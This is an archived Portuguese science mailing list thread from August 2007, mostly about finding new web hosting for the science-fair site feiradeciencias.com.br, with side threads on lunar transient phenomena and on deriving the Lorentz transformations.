> UFSCar o departamento de informatica é amplo, posso conversar como os
> organizadores a respeito de hospedagem etc, talvez eles possm
> disponibilizar espaço e estrutura para a publicação...
>
> Desejo cinceramente boa sorte ao grande IMPERDÍVEL
>
> Ricardo.
>
> --- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> >
> > >
> > >A nova página de abertura do ex-Imperdível,
> > >participando o ENCERRAMENTO, já está on-line.
> > >Foi bom enquanto durou! Valeu!
> > >
> >
> > Oi Léo, quer um sócio? :-)
> >
> > Eu trabalho na área e posso ajudar bastante. Tenho hospedagem
> própria (uma revenda de hospedagem que só uso agora para meus clientes
> de site), que é bastante robusta e nunca tive problemas. Claro que
> teria um custo pra mim, mas é pouco, pois revendo, mas uma propaganda
> do Google discreta já seria suficiente pra pagar (devido ao número de
> acessos do "Imperdível").
> >
> > Poderíamos também reformular o site, criar um sistema de publicação
> fácil de usar, por exemplo, e implementar qualquer idéia que tivermos.
> Podemos implementar as idéias do Takata também, com a renda toda a seu
> cargo, pois garanto que só uma pequena propaganda do Google pagará a
> hospedagem. Enfim, sou programador, posso implementar qualquer idéia
> no site.
> >
> > Eis alguns sites que eu fiz ultimamente aqui em São Carlos (alguns
> sozinho e outros em parceria): http://www.amchidraulica.com.br/,
> http://www.inbracel.com.br/, http://www.fiochi.com.br/,
> http://www.comeng.com.br, http://www.deumtoque.com/ (site meu). O "Dê
> um toque" tem bem menos acessos que o Feira de Ciências (por enquanto
> :-) e já se paga, paga outra hospedagem que eu tenho (domínio
> jeff.com.br) e ainda sobra, com propagandas do Google Adsense e do
> Buscapé. Fiz este site de brincadeira, mas está virando um negócio com
> o contrato que estou fechando com o portal Vírgula.
> >
> > Um abraço,
> > Jeff.
> >
> > [As partes desta mensagem que não continham texto foram removidas]
> >
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--
No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.484 / Virus Database: 269.12.2/967 - Release Date: 22/08/2007 18:51




SUBJECT: Re: DOUTOR CONSULFONE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/08/2007 21:11

Poderia traduzir sua mensagem cifrada?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, murilo filo <avalanchedrive@...>
> Cadê a msg, Mr '''Jack The Ripper''?




SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/08/2007 21:24

O Feira de Ciências está com algumas propostas de free hosting. Mas
todas apresentam limitação de taxa de transferência mensal.

Uma possibilidade é fazer uma espécie de rodízio automático entre
esses diversos serviços de hospedagem. (Nesse caso as estatísticas de
acesso ficariam picadas.) Uma outra é distribuir os conteúdos de modo
q cada um fique com uma parte.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Sem dúvida Brudna ... isso é o mínimo que eu aceitaria!
> Diretório: feiradeciencias
> FTP direto (sem intermediários), volume do site e volume de tráfego
LIVRES. E, de preferência, programa de bloqueio de vírus! (A convex
não tem isso! ainda hoje tive que alterar o index da página principal
pois já estava com vírus! --- um vírus bobo, mas estava lá!)
> Não vai ser fácil!




SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/08/2007 12:20

Acho que dah mais que 10Gb por mes. Dificil dar a precisao disso.
Esses contadores sao bem confusos.

Mas algo que percebi eh que o que estah comendo transferencia eh
aquele relogio que aparece na primeira pagina (e em outras). Soh
aquele relogio parece consumir uns 3% de toda transferencia.
Nao tem muita utilidade o relogio, jah que eh apenas uma imitacao do
relogio do windows. se o relogio no computador do visitante estiver
errado, vai aparecer uma hora errada no site.

Mas esses detalhes dah pra ajustar quando o site estiver no novo servidor.
Hospedando em servico gringo, pago (uns 15 dolares por mes), a
transferencia nao eh problema, eles fornecem limites de 1000Gb. Soh
tem problema se o site eh acessado por muita gente em poucos minutos,
ou seja, se tem picos de transferencia... o que nao parece ser o caso
do Feira.

Te enviei um mail em privado esses dias. Nao sei se vc chegou a ver.

Ateh
Luis Brudna


>
> Olá Brudna
> e demais que queiram 'ver' as estatísticas reais desse contador e reportagem da Convex (PLESH):
>
> http://www.feiradeciencias.com.br/plesk%2Dstat/webstat/
>
> eu não entendo absolutamente nada disso e nem sei interpretar esses dados!
> O que interessaria para responder algumas questões (inclusive para o Takata) é o 'real' volume de tráfego; tem isso nesses dados? Baseado numa mensagem antiga (2005) eu 'chutaria' que o tráfego atual está entre 10 e 15 Gb ... puro chute!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>


SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/08/2007 13:00

Prof. Luiz,

Pelo menos te avisaram! Eu perdi o acesso aos três blogs que tinha
no Wordpress, suspensos sem nenhum aviso! Fui verificar: os termos
de uso ficaram mais restritivos (não permitem mais propagandas com
links simples). Ou seja, mudaram as regras, não me avisaram e
fecharam os blogs, sendo que o mais antigo tinha 1 ano e dois meses
no ar com cerca de 1000 visitas/dia. Felizmente, tenho todo o
material em casa.

Depois de suspensos, coloquei os blogs no Blogger por um tempo até
achar um provedor pago que me desse sossego (para não depender mais
dos favores de um site gratuito). Agora os três blogs estão no
www.bluehost.com, pelo que paguei cerca de R$330,00 (US$166.80) por
dois anos de hospedagem, com direito à 300 Gb de espaço (todos os
três blogs estão em uma única conta) e com 3000 Gb de tráfego (será
que basta para o Imperdível?).

Como pagar? propaganda é um meio. Eu nunca usei o AdSense, mas tenho
o Buscapé que não me anima muito. Dell, Mercado Livre e Lojas
Americanas nunca me rendem nada. O único que deu certo para mim, foi
o Submarino, que é venda por comissão. Mesmo perdendo mais de 10
vezes no número de visitas do que tinha no Wordpress.com, já paguei
mais da metade do custo de hospedagem. Outra solução, são doações
usando o PayPal. Por outro lado, já que o senhor não gosta de
propagandas "sujando" o site, poderia buscar recursos em empresas
privadas. Financiam de tudo por aí, por que não o
imperdível.org ... :)

E sempre tem a possibilidade de uma vaquinha entre os listeiros....

[]s,
Pierre

www.piada.net
www.technewsbr.com
www.receitasfaceis.net
www.extremerts.com


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá Brudna
> e demais que queiram 'ver' as estatísticas reais desse contador e
reportagem da Convex (PLESH):
>
> http://www.feiradeciencias.com.br/plesk%2Dstat/webstat/
>
>
> eu não entendo absolutamente nada disso e nem sei interpretar
esses dados!
> O que interessaria para responder algumas questões (inclusive para
o Takata) é o 'real' volume de tráfego; tem isso nesses dados?
Baseado numa mensagem antiga (2005) eu 'chutaria' que o tráfego
atual está entre 10 e 15 Gb ... puro chute!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Luis Brudna" <luisbrudna@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: domingo, 26 de agosto de 2007 19:06
> Assunto: Re: [ciencialist] Re: Site feiradeciencias.com.br -
ENCERRAMENTO
>
>
> Metendo meu bedelho na questao. :-)
>
> Se for hospedado pela Ufscar NAO aceite entrar como um simples
> diretorio. Alguns arcaicos academicos ainda usam coisas do tipo...
>
>
http://www.ufscar.br/deptoft/ftcnppt/usuarios/~luiz.ferraz.netto/site
/feiradeciencias
>
> hehe
> Isso acaba com qualquer site. Ninguem consegue lembrar do endereco.
>
> Tambem deve exigir autonomia. Alguns tem burocracias pra aprovacao
de
> material que vai online. Reuniao disso e daquilo.
> Deve exigir ter controle simples e direto do FTP, com liberdade pra
> apagar e mudar arquivos a hora que quiser.
>
> Sei que cavalo dado nao se olha os dentes, mas eh bom estar
preparado.
>
> Boa sorte na nova moradia.
>
> Ateh
> Luis Brudna
>
>
> =-=-=
> On 8/26/07, Luiz Ferraz Netto <leobarretos@...> wrote:
> >
> > Olá Ricardo,
> >
> > aceito de bom gosto a hospedagem pela UFSCAR. Se necessário
uma 'ajuda', tente com a Dra.Ducinei do Depto de Física.
> > Tente ... e retorne. Eis alguns dados que poderão ser úteis:
> >
> > O site tem sido hospedado pela Convex Internet Provider, de
Ribeirão Preto - SP, desde sua inauguração oficial em 1999. Desde
1999, estou no terceiro "contador", os dois primeiros somam 60
milhões de consultas e o último, on-line, acusa raspando mais 40
milhões. Assim, beiramos o 100 milhões de consultas às páginas do
site.
> >
> > A situação atual do site é a seguinte:
> > a) mínimo de 50 000 consultas/dia --- deve atingir pico de 80
000 em setembro e cerca de 100 000/dia em outubro e novembro (maior
incidência de feiras de ciências escolares).
> > b) tráfego entre 10 e 15 Gb (essa informação é imprecisa)
> > c) espaço em disco entre 170 e 270M (o sistema PLESH da convex
acusa 245M e consigo gravar o site em CD com 170M).
> >
> > O tráfego está afetando todo o provedor (Convex), e por isso
decidiram 'fechar a plataforma .asp' em 15 dias (segundo a mensagem
que me enviaram na última 5. feira).
> >
> > A decisão imediata que tomei é:
> > 1) avisar os consulentes do fechamento do site e o encerramento
progressivo das salas;
> > 2) providenciar o fechamento físico do site e um bom backup
> >
> > No aguardo,
> >
> > aquele abraço,
> >
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@...
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> > -----Mensagem Original-----
> > De: "Ricardo Soares Vieira" <rickrsv@...>
> > Para: <ciencialist@yahoogrupos.com.br>
> > Enviada em: sexta-feira, 24 de agosto de 2007 17:00
> > Assunto: [ciencialist] Re: Site feiradeciencias.com.br -
ENCERRAMENTO
> >
> >
> > Léo,
> >
> > Se eu puder ajudar em alguma coisa, estarei disponível... Aqui
na
> > UFSCar o departamento de informatica é amplo, posso conversar
como os
> > organizadores a respeito de hospedagem etc, talvez eles possm
> > disponibilizar espaço e estrutura para a publicação...
> >
> > Desejo cinceramente boa sorte ao grande IMPERDÍVEL
> >
> > Ricardo.
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@> escreveu
> > >
> > > >
> > > >A nova página de abertura do ex-Imperdível,
> > > >participando o ENCERRAMENTO, já está on-line.
> > > >Foi bom enquanto durou! Valeu!
> > > >
> > >
> > > Oi Léo, quer um sócio? :-)
> > >
> > > Eu trabalho na área e posso ajudar bastante. Tenho hospedagem
> > própria (uma revenda de hospedagem que só uso agora para meus
clientes
> > de site), que é bastante robusta e nunca tive problemas. Claro
que
> > teria um custo pra mim, mas é pouco, pois revendo, mas uma
propaganda
> > do Google discreta já seria suficiente pra pagar (devido ao
número de
> > acessos do "Imperdível").
> > >
> > > Poderíamos também reformular o site, criar um sistema de
publicação
> > fácil de usar, por exemplo, e implementar qualquer idéia que
tivermos.
> > Podemos implementar as idéias do Takata também, com a renda
toda a seu
> > cargo, pois garanto que só uma pequena propaganda do Google
pagará a
> > hospedagem. Enfim, sou programador, posso implementar qualquer
idéia
> > no site.
> > >
> > > Eis alguns sites que eu fiz ultimamente aqui em São Carlos
(alguns
> > sozinho e outros em parceria): http://www.amchidraulica.com.br/,
> > http://www.inbracel.com.br/, http://www.fiochi.com.br/,
> > http://www.comeng.com.br, http://www.deumtoque.com/ (site meu).
O "Dê
> > um toque" tem bem menos acessos que o Feira de Ciências (por
enquanto
> > :-) e já se paga, paga outra hospedagem que eu tenho (domínio
> > jeff.com.br) e ainda sobra, com propagandas do Google Adsense e
do
> > Buscapé. Fiz este site de brincadeira, mas está virando um
negócio com
> > o contrato que estou fechando com o portal Vírgula.
> > >
> > > Um abraço,
> > > Jeff.
> > >
> > > [As partes desta mensagem que não continham texto foram
removidas]
> > >
> >
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> Página de apoio
> http://www.ciencialist.com
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> Links do Yahoo! Grupos
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>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.484 / Virus Database: 269.12.2/967 - Release Date:
22/08/2007 18:51
>




SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/08/2007 13:44

--- Em ciencialist@yahoogrupos.com.br, Robespierre B. Gonçalves
> três blogs estão em uma única conta) e com 3000 Gb de tráfego (será

3 Tb ou 3TB? Por mês ou pelo período de dois anos?

> Por outro lado, já que o senhor não gosta de
> propagandas "sujando" o site, poderia buscar recursos em empresas
> privadas. Financiam de tudo por aí, por que não o
> imperdível.org ... :)

Isso já foi tentado. Elas não estão muito dispostas a isso.

[]s,

Roberto Takata



SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: "CienciaList" <ciencialist@yahoogrupos.com.br>
DATE: 27/08/2007 13:49

Prezado Prof. Leo e demais participantes do CienciaList,

Tenho estado absorto nas minhas pesquisas sobre a TOM (Teoria Ondulatória da Matéria) e na construção de aparatos demonstrativos.

Prometi a mim mesmo que só voltaria aos diálogos depois de fazer os ajustes finais na teoria, de forma que pudesse expô-la indubitavelmente.

Contudo venho acompanhando os tópicos via e-mails, ainda que alguns tenham sido de forma superficial. Especificamente, este tópico sobre o Encerramento do site Feira de Ciências me fez ficar alarmado.

Em um país onde a cultura puramente científica é pouco fomentada e apoiada pelo governo, um site como o Feira de Ciências é um oásis e não deve jamais terminar. Essa idéia é um verdadeiro absurdo!

Existem argumentos mais do que suficientes para que já houvesse o apoio governamental no seu site, principalmente da FAPESP. Se isto ainda não ocorreu, deve ser por falta de diálogos com o Ministério das Ciências e Tecnologia que vive esperando as iniciativas cairem do céu!

Particularmente o Feira de Ciências tem me servido como referência em vários aspectos. Se eu puder auxiliar em alguma coisa, conte comigo.

Um forte abraço,

Eduardo Sardeiro









[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/08/2007 14:18

Eh por mes.

Gigs of Site Transfer (NOW MORE!) 3,000 GB/mo
http://www.bluehost.com/tell_me_more.html

No Brasil nao se acha tal transferencia por preco baixo. Sairia 10x mais caro.

Quem usa o BlueHost acho que pode oferecer desconto para novos assinantes.

Pela DreamHost eu posso oferecer uns 50 dolares (ou mais, tenho que
ver) de desconto pra assinatura de um ano (paga em parcela unica). Mas
isso eh soh pro primeiro pagamento. No segundo ano o valor vai ser
cobrado integral.

O Mori falou que a BlueHost teve problemas de sair do ar por um tempo
(acho que horas).

Se nao se conseguir hospedagem gratuita no Brasil, esses servicos sao
os mais indicados.

Ateh
Luis Brudna



On 8/27/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, Robespierre B. Gonçalves
> > três blogs estão em uma única conta) e com 3000 Gb de tráfego (será
>
> 3 Tb ou 3TB? Por mês ou pelo período de dois anos?
>
> > Por outro lado, já que o senhor não gosta de
> > propagandas "sujando" o site, poderia buscar recursos em empresas
> > privadas. Financiam de tudo por aí, por que não o
> > imperdível.org ... :)
>
> Isso já foi tentado. Elas não estão muito dispostas a isso.
>
> []s,
>
> Roberto Takata
>
>


SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/08/2007 15:55

Certa vez tentei contato com o MCT para saber se existia algum
incentivo para sites sobre ciencia. Provavelmente minha tatica de
perguntas e negociacao nao foi das melhores. Soh vi enrolacoes e
desculpas.
Afirmaram estar jah com um projeto em andamento e que o tal site deles
sairia em poucos meses. Isso tem mais de 2 anos. Ateh agora nao vi
nenhum portal do MCT com o prometido.

Talvez tentando conseguir verbas de projetos jah em andamento. Mas
isso tambem envolvem compromissos e ter o rabo preso.Tendo de dar
satisfacao de tudo.

Ateh
Luis Brudna


On 8/27/07, Eduardo Sardeiro <eduardo@simetrias.com.br> wrote:
>
>
> Prezado Prof. Leo e demais participantes do CienciaList,
>
> Tenho estado absorto nas minhas pesquisas sobre a TOM (Teoria Ondulatória da Matéria) e na construção de aparatos demonstrativos.
>
> Prometi a mim mesmo que só voltaria aos diálogos depois de fazer os ajustes finais na teoria, de forma que pudesse expô-la indubitavelmente.
>
> Contudo venho acompanhando os tópicos via e-mails, ainda que alguns tenham sido de forma superficial. Especificamente, este tópico sobre o Encerramento do site Feira de Ciências me fez ficar alarmado.
>
> Em um país onde a cultura puramente científica é pouco fomentada e apoiada pelo governo, um site como o Feira de Ciências é um oásis e não deve jamais terminar. Essa idéia é um verdadeiro absurdo!
>
> Existem argumentos mais do que suficientes para que já houvesse o apoio governamental no seu site, principalmente da FAPESP. Se isto ainda não ocorreu, deve ser por falta de diálogos com o Ministério das Ciências e Tecnologia que vive esperando as iniciativas cairem do céu!
>
> Particularmente o Feira de Ciências tem me servido como referência em vários aspectos. Se eu puder auxiliar em alguma coisa, conte comigo.
>
> Um forte abraço,
>
> Eduardo Sardeiro
>


SUBJECT: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: "CienciaList" <ciencialist@yahoogrupos.com.br>
DATE: 27/08/2007 17:09

Na época do FHC tive vários contatos no MCT. Por sua vez, eles me colocaram em contato com várias instituições e me abriram várias oportunidades, todas em parceria com alguma universidade.

O fato das universidades terem que acompanhar todos os projetos podou significativamente todas as iniciativas. Boa parte do trabalho técnico tinha que ficar com as universidades. Isso é equivalente ao que vc denominou 'ficar com o rabo preso'.

Esta questão me levou a criar duas hipóteses:

(1) Ou o governo tem receio de que desenvolvamos armas ou artefatos equivalentes que possam por em risco a soberania nacional (?). Bom, creio que não. Eles querem mesmo é que o poder continue como está, mesmo que isso venha a sacrificar idéias revolucionárias.

(2) Ou as verbas para as universidades já estão tão comprometidas que só resta ao governo empurrar as novas propostas para baixo dos Centros de Custos já formados e comprometidos.

Esta última hipótese é mais provável, levando-se em conta em que ninguém quer prejudicar a ninguém e que todo recurso é escasso.

Em um governo democrático, deveríamos ao menos ter acesso e direito a participar das decisões no Congresso para decidir o uso das verbas para as Ciências e Tecnologias.

Eu, por exemplo, apoiaria a disponibilização de verbas para idéias de divulgação científica de qualquer âmbito, mesmo sem o acompanhamento dos devidos órgãos e desde que provado a eficácia e eficiência. É este o caso do site da Feira de Ciências.

Abrs,

Sardeiro


----- Original Message -----
From: Luis Brudna
To: ciencialist@yahoogrupos.com.br
Sent: Monday, August 27, 2007 3:55 PM
Subject: Re: [ciencialist] Re: Site feiradeciencias.com.br - ENCERRAMENTO


Certa vez tentei contato com o MCT para saber se existia algum
incentivo para sites sobre ciencia. Provavelmente minha tatica de
perguntas e negociacao nao foi das melhores. Soh vi enrolacoes e
desculpas.
Afirmaram estar jah com um projeto em andamento e que o tal site deles
sairia em poucos meses. Isso tem mais de 2 anos. Ateh agora nao vi
nenhum portal do MCT com o prometido.

Talvez tentando conseguir verbas de projetos jah em andamento. Mas
isso tambem envolvem compromissos e ter o rabo preso.Tendo de dar
satisfacao de tudo.

Ateh
Luis Brudna

On 8/27/07, Eduardo Sardeiro <eduardo@simetrias.com.br> wrote:
>
>
> Prezado Prof. Leo e demais participantes do CienciaList,
>
> Tenho estado absorto nas minhas pesquisas sobre a TOM (Teoria Ondulatória da Matéria) e na construção de aparatos demonstrativos.
>
> Prometi a mim mesmo que só voltaria aos diálogos depois de fazer os ajustes finais na teoria, de forma que pudesse expô-la indubitavelmente.
>
> Contudo venho acompanhando os tópicos via e-mails, ainda que alguns tenham sido de forma superficial. Especificamente, este tópico sobre o Encerramento do site Feira de Ciências me fez ficar alarmado.
>
> Em um país onde a cultura puramente científica é pouco fomentada e apoiada pelo governo, um site como o Feira de Ciências é um oásis e não deve jamais terminar. Essa idéia é um verdadeiro absurdo!
>
> Existem argumentos mais do que suficientes para que já houvesse o apoio governamental no seu site, principalmente da FAPESP. Se isto ainda não ocorreu, deve ser por falta de diálogos com o Ministério das Ciências e Tecnologia que vive esperando as iniciativas cairem do céu!
>
> Particularmente o Feira de Ciências tem me servido como referência em vários aspectos. Se eu puder auxiliar em alguma coisa, conte comigo.
>
> Um forte abraço,
>
> Eduardo Sardeiro
>





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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Site feiradeciencias.com.br - ENCERRAMENTO
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/08/2007 17:57

Já que pagar um serviço parece ser problemárico, achei esta site com
uma lista de serviços de hopedagem gratuita.
Acho que vale dar uma olhada e procurar qual se adapta melhor ao
Feira de Ciências:

http://www.free-webhosts.com/

[]s,
Pierre
www.piada.net
www.receitasfaceis.net
www.technewsbr.com
www.extremerts.com

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Na época do FHC tive vários contatos no MCT. Por sua vez, eles me
colocaram em contato com várias instituições e me abriram várias
oportunidades, todas em parceria com alguma universidade.
>
> O fato das universidades terem que acompanhar todos os projetos
podou significativamente todas as iniciativas. Boa parte do trabalho
técnico tinha que ficar com as universidades. Isso é equivalente ao
que vc denominou 'ficar com o rabo preso'.
>
> Esta questão me levou a criar duas hipóteses:
>
> (1) Ou o governo tem receio de que desenvolvamos armas ou
artefatos equivalentes que possam por em risco a soberania nacional
(?). Bom, creio que não. Eles querem mesmo é que o poder continue
como está, mesmo que isso venha a sacrificar idéias revolucionárias.
>
> (2) Ou as verbas para as universidades já estão tão comprometidas
que só resta ao governo empurrar as novas propostas para baixo dos
Centros de Custos já formados e comprometidos.
>
> Esta última hipótese é mais provável, levando-se em conta em que
ninguém quer prejudicar a ninguém e que todo recurso é escasso.
>
> Em um governo democrático, deveríamos ao menos ter acesso e
direito a participar das decisões no Congresso para decidir o uso
das verbas para as Ciências e Tecnologias.
>
> Eu, por exemplo, apoiaria a disponibilização de verbas para idéias
de divulgação científica de qualquer âmbito, mesmo sem o
acompanhamento dos devidos órgãos e desde que provado a eficácia e
eficiência. É este o caso do site da Feira de Ciências.
>
> Abrs,
>
> Sardeiro
>
>
> ----- Original Message -----
> From: Luis Brudna
> To: ciencialist@yahoogrupos.com.br
> Sent: Monday, August 27, 2007 3:55 PM
> Subject: Re: [ciencialist] Re: Site feiradeciencias.com.br -
ENCERRAMENTO
>
>
> Certa vez tentei contato com o MCT para saber se existia algum
> incentivo para sites sobre ciencia. Provavelmente minha tatica de
> perguntas e negociacao nao foi das melhores. Soh vi enrolacoes e
> desculpas.
> Afirmaram estar jah com um projeto em andamento e que o tal site
deles
> sairia em poucos meses. Isso tem mais de 2 anos. Ateh agora nao
vi
> nenhum portal do MCT com o prometido.
>
> Talvez tentando conseguir verbas de projetos jah em andamento.
Mas
> isso tambem envolvem compromissos e ter o rabo preso.Tendo de dar
> satisfacao de tudo.
>
> Ateh
> Luis Brudna
>
> On 8/27/07, Eduardo Sardeiro <eduardo@...> wrote:
> >
> >
> > Prezado Prof. Leo e demais participantes do CienciaList,
> >
> > Tenho estado absorto nas minhas pesquisas sobre a TOM (Teoria
Ondulatória da Matéria) e na construção de aparatos demonstrativos.
> >
> > Prometi a mim mesmo que só voltaria aos diálogos depois de
fazer os ajustes finais na teoria, de forma que pudesse expô-la
indubitavelmente.
> >
> > Contudo venho acompanhando os tópicos via e-mails, ainda que
alguns tenham sido de forma superficial. Especificamente, este
tópico sobre o Encerramento do site Feira de Ciências me fez ficar
alarmado.
> >
> > Em um país onde a cultura puramente científica é pouco
fomentada e apoiada pelo governo, um site como o Feira de Ciências é
um oásis e não deve jamais terminar. Essa idéia é um verdadeiro
absurdo!
> >
> > Existem argumentos mais do que suficientes para que já
houvesse o apoio governamental no seu site, principalmente da
FAPESP. Se isto ainda não ocorreu, deve ser por falta de diálogos
com o Ministério das Ciências e Tecnologia que vive esperando as
iniciativas cairem do céu!
> >
> > Particularmente o Feira de Ciências tem me servido como
referência em vários aspectos. Se eu puder auxiliar em alguma coisa,
conte comigo.
> >
> > Um forte abraço,
> >
> > Eduardo Sardeiro
> >
>
>
>
>
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> Proteja o seu e-mail Terra: http://mail.terra.com.br/
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: RE: [ciencialist] DOUTOR CONSULFONE
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/08/2007 22:18


Eu quiz dizer, comparando o moderador com Jack o Estripador, que toda a mensagem do doutor foi mutilada e não apareceu.
''Modere com apreciação''.
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: ATENÇÃO-TLP's ou FLT's durante um eclipse lunar total
FROM: Observatório Monoceros <observatorio.monoceros@gmail.com>
TO: "Monoceros-Grupo" <Observatorio_Monoceros@yahoogrupos.com.br>
CC: Urânia <urania_br@yahoogrupos.com.br>, "REANET" <reanet@yahoogrupos.com.br>, "OBSERVACAO LUNAR" <observacao_lunar@yahoogrupos.com.br>, "Observatorio Kepler" <observatorio_kepler@gruposyahoo.com>, "Foro Liada" <foro-liada@gruposyahoo.com.ar>, El Cyberastrónomo <cyberastronomo@yahoogroups.com>
DATE: 27/08/2007 23:47

Aos amigos que puderem acompanhar o eclipse, eis uma sugestão de observação.



Ao longo dos últimos séculos, alguns fenômenos de luminescência ou escurecimento transitórios têm sido observados na superfície lunar. Fenômenos, estes, ainda sem explicação suficientemente clara de sua origem.

Trata-se dos FLT's (ou TLP's) - Fenômenos Lunares Transitórios - de ocorrência efêmera e imprevisível, cujo primeiro registro data de 20 de abril de 1787, pelo astrônomo inglês Willian Herschell, que observou "uma estranha luz em Aristarchus".

Esta luminescência temporária é devido à absorção de radiação, seguida por emissão de luz, provocada pela mudança brusca na temperatura do solo, nas áreas próximas ao terminador (linha divisória entre o dia e noite lunares) ou durante um eclipse. Estes fenômenos também podem ser causados devido às emanações gasosas provenientes do interior do solo lunar, causando mudança na tonalidade ou coloração de certas áreas.

Algumas áreas são mais propensas à ocorrência de tais fenômenos. Estas áreas são denominadas "sítios de FLT's", e são amplamente estudadas até os dias atuais.

Desde 1990, a cada lunação, a "patrulha" destes sítios é por nós executada, sendo registradas, durante este período, cinco ocorrências do fenômeno.

Para o detalhamento do assunto, disponibilizamos parte da obra "À GUISA DE UM PROGRAMA DE OBSERVAÇÃO LUNAR-I e II" , de nosso mestre, o saudoso astrônomo JEAN NICOLINI, grande pesquisador brasileiro e especialista nas observações lunares e solares.



Maiores detalhes podem ser encontrados em nosso site, no link: http://www.monoceros.xpg.com.br/lunar2.htm



Bons Céus e Boa Sorte!!!

Abraços,

Lucimary Vargas



-------------------------------------------------------------------------
Lucimary Vargas de Oliveira Guardamino Espinoza
Além Paraíba-MG-Brasil
Presidente:
Observatório Astronômico Monoceros
Estacão Meteorológica Nº083/5ºDISME-INMET
CEPESLE -Centro de Estudos e Pesquisas Sertões do Leste
AHAP-Arquivo Histórico de Além Paraíba
http://www.monoceros.xpg.com.br
http://astronomicando.blogspot.com/
http://arqueoastronomy.blogspot.com/
http://www.arquivohistorico-mg.com.br
http://br.groups.yahoo.com/group/Observatorio_Monoceros/
MSN: observatoriomonoceros@hotmail.com
--------------------------------------------------------------------------


















[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: DOUTOR CONSULFONE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/08/2007 00:07

Continuamos na mm. O q é os moderadores têm a ver com isso?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, murilo filo
<avalanchedrive@...> escreveu
>
>
> Eu quiz dizer, comparando o moderador com Jack o Estripador, que
toda a mensagem do doutor foi mutilada e não apareceu.
> ''Modere com apreciação''.
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] Dedução das transformações de Lorentz sem saber que c = constante
FROM: Caio <caiocgomes@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/08/2007 00:22

Vc está interessado em um artigo muito interessante do American Journal of
Physics, que exige somente que exista uma velocidade invariante. Com isso
podemos determinar todas as equações da RR.
Ele é o

"Relativity without Light", *American* *Journal* of Physics 52, 119(1984)

On 8/23/07, J.Victor <j.victor.neto@uol.com.br> wrote:
>
> Caro Ricardo,
>
> Há uma maneira de se chegar ao fator gamma usando apenas as equações do
> E.M.
>
> Há um artigo nessa direção em:
>
> Revista Brasileira de Ensino de Física, Vol.3, nº 3, setembro de 2003,
> autoria de Olívia Ortiz e F.D.Sasse.
>
> O Google lhe remeterá ao site da RBEF e lá você encontrará o que quer. As
> referências indicadas no artigo são suficientes para uma pesquisa mais
> profunda.
>
> Na verdade, o artigo trata da obtenção da Contratação de Lorentz, via leis
> de Gaus e Ampere, sem admitir, a priori, a validade dos postulados da
> relatividade.
>
> Boas queimadas de pestanas e algumas contas.
>
> Sds,
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>[mailto:
> ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>]
> Em nome de Ricardo Soares Vieira
> Enviada em: quarta-feira, 22 de agosto de 2007 22:01
> Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Assunto: [ciencialist] Dedução das transformações de Lorentz sem saber que
> c
> = constante
>
> Olá,
>
